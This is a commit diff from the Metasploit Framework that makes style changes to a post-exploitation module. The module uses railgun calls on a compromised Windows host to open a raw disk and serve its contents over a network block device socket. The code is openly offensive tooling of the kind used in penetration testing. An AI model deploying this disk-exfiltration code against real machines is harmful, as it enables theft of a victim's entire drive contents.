Minor style tweaks

git-svn-id: file:///home/svn/framework3/trunk@13653 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2011-08-29 00:59:21 +00:00
parent d2e0060417
commit 160e473943
1 changed files with 17 additions and 17 deletions

View File

@ -46,16 +46,16 @@ class Metasploit3 < Msf::Post
fsctl_allow_extended_dasd_io = 0x00090083
ioctl_disk_get_drive_geometry_ex = 0x000700A0
r = client.railgun.kernel32.CreateFileA(devname, "GENERIC_READ",
0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)
r = client.railgun.kernel32.CreateFileA(devname, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)
handle = r['return']
r = client.railgun.kernel32.DeviceIoControl(handle,fsctl_allow_extended_dasd_io,nil,0,0,0,4,nil)
ioctl = client.railgun.kernel32.DeviceIoControl(handle,ioctl_disk_get_drive_geometry_ex,
"",0,200,200,4,"")
ioctl = client.railgun.kernel32.DeviceIoControl(handle,ioctl_disk_get_drive_geometry_ex, "",0,200,200,4,"")
if ioctl['GetLastError'] == 6
ioctl = client.railgun.kernel32.DeviceIoControl(handle,ioctl_disk_get_drive_geometry_ex, "",0,200,200,4,"")
end
geometry = ioctl['lpOutBuffer']
disk_size = geometry[24,31].unpack('Q')[0]
@ -82,14 +82,14 @@ class Metasploit3 < Msf::Post
print_line("Wrong magic number")
break
end
if request == 2
case request
when 2
break
end
if request == 1
when 1
print_line("Attempted write on a read-only nbd")
break
end
if request == 0
when 0
client.railgun.kernel32.SetFilePointer(handle,offset_n[4,7].unpack('N')[0], offset_n[0,4].unpack('N')[0],0)
rsock.put("gDf\x98\x00\x00\x00\x00")
rsock.put(nbd_handle)